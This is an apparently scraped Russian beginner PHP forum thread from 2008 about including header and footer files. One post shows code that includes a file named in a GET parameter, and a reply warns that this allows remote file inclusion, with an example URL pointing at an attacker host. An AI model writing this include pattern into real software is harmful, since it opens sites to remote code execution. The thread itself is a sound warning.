Strict Standards: Resource ID#18 used as offset, casting to integer (18) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#23 used as offset, casting to integer (23) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#25 used as offset, casting to integer (25) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#26 used as offset, casting to integer (26) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Простейший движок
ТвойWeb ТвойWeb
Качественный Европейский хостинг
Форум для чайников
 Чат на форуме      Помощь      Поиск      Пользователи


 Страниц (1): [1]   

> Описание: Подскажите, как сделать
Vladimir
Отправлено: 27 Января, 2008 - 06:13:21
Post Id


Advanced Member


Покинул форум
Сообщений всего: 270
Дата рег-ции: Апр. 2005  

Карма 0




У меня сайт со статическим контентом. Схема страницы:

Цитата:
<html>
<head>
<title>Заголовок</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
<meta content="Ключевые слова" name=keywords>
<meta content="Ключевые фразы" name=description>
<link rel="stylesheet" href="таблица_стилей.css" type="text/css">
</head>
<body>
<script language=JavaScript src="верх.js"></script>

КОНТЕНТ

<script language=JavaScript src="низ.js"></script>
</body>
</html>


То есть, верхняя и нижняя части страниц управляются через файлы яваскриптов.

Подскажите, как сделать так (на php), чтобы при обращении к странице, в тех местах, где сейчас js, вставлялся контент из указанных файлов?

P.S. PHP только начинаю изучать.
 
 Top
Vladimir
Отправлено: 27 Января, 2008 - 06:24:26
Post Id


Advanced Member


Покинул форум
Сообщений всего: 270
Дата рег-ции: Апр. 2005  

Карма 0




Кажется, уже всё нашёл, заодно и понял суть.

Цитата:
<html>
<head>
<title>Название страницы</title>
</head>
<body>

<?php
$go = $_GET['include'];
if (!empty($include)) {
include($include);
}
else {
include('1.htm'Подмигивание;
}
?>

Контент

<?php
$go = $_GET['include'];
if (!empty($include)) {
include($include);
}
else {
include('1.htm'Подмигивание;
}
?>
</body>
</html>


Правильно тут всё?
 
 Top
Furax
Отправлено: 27 Января, 2008 - 07:58:54
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Vladimir
Никогда так не делай! Таким образом можно выполнить любой сторонний скрипт на твоём сервере, например, обратившись к твоей странице так:
http://yoursite.ru/page.php?incl...r.com/mycode.php
Код, который вернёт http://xaker.com/mycode.php, будет выполнен на твоём сервере. Оно тебе надо?
 
 Top
awep
Отправлено: 27 Января, 2008 - 09:19:34
Post Id



Наш человек


Покинул форум
Сообщений всего: 304
Дата рег-ции: Дек. 2005  
Откуда: Казань

Карма 6




да, это очень опасный код.
в твоем случае буде проще использовать цифры(это наипростейший вариант), т.е.
CODE:
$page = $_GET['page'];
$inc = 1;
if (is_numeric($_GET['page'])
{
$num = intval($_GET['page']);
if(file_exists($num.'.html')) $inc = $num;
}
include($inc.'.html');
 
 Top
Vladimir
Отправлено: 31 Января, 2008 - 09:24:15
Post Id


Advanced Member


Покинул форум
Сообщений всего: 270
Дата рег-ции: Апр. 2005  

Карма 0




Спасибо за совет!

Только вот поздновато зашёл и уже залил достаточно много файлов(
Можно ли теперь их обработать с помощью скрипта прямо на сервере, чтобы не перезакачивать?

Положить файл со скриптом в нужную папку, чтобы он всё там обработал (или указать ему, какие файлы обрабатывать):
<тег1>
<тег2>
Заменить на <тег3>

(Отредактировано автором: 31 Января, 2008 - 09:25:30)

 
 Top
Vladimir
Отправлено: 31 Января, 2008 - 13:29:37
Post Id


Advanced Member


Покинул форум
Сообщений всего: 270
Дата рег-ции: Апр. 2005  

Карма 0




awep пишет:
да, это очень опасный код.
в твоем случае буде проще использовать цифры(это наипростейший вариант), т.е.

А если совсем просто сделать:
CODE:
<?php include('название_файла.php'); ?>

(Отредактировано автором: 31 Января, 2008 - 13:30:15)

 
 Top
Furax
Отправлено: 31 Января, 2008 - 23:05:27
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Vladimir
Это абсолютно безопасно, при условии, что название_файла не является переменной. Единственное, за чем надо следить - это за тем, чтобы при открытии файла 'название_файла.php' (а не главного файла) не высвечивались какие-либо нежелательные данные (пароли, etc.).
 
 Top
Vladimir
Отправлено: 01 Февраля, 2008 - 03:53:04
Post Id


Advanced Member


Покинул форум
Сообщений всего: 270
Дата рег-ции: Апр. 2005  

Карма 0




А если я в код страницы поставлю три инклуда, нормально будет работать?
Я имю ввиду, не будет ли возникать ошибок?
 
 Top
Furax
Отправлено: 01 Февраля, 2008 - 05:56:40
Post Id



Бледнотик


Покинул форум
Сообщений всего: 1472
Дата рег-ции: Март 2007  
Откуда: Иркутск, Сибирь, СССР

Карма 32




Да хоть 100. Если только на сервере нет ограничений, но вряд ли кто поставит ограничение меньше пятидесяти.
 
 Top
defenderyk
Отправлено: 01 Февраля, 2008 - 06:03:21
Post Id


Super Member


Покинул форум
Сообщений всего: 709
Дата рег-ции: Окт. 2007  
Откуда: Россия

Карма 3




Если правильно вставишь, то нет!
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 1 (гостей: 1, зарегистрированных: 0, скрытых: 0)
« PHP/Perl »


Все гости форума могут просматривать этот раздел.
Только администраторы и модераторы могут создавать новые темы в этом разделе.
Только администраторы и модераторы могут отвечать на сообщения в этом разделе.
 



Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®

[Script Execution time: 0.0419]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33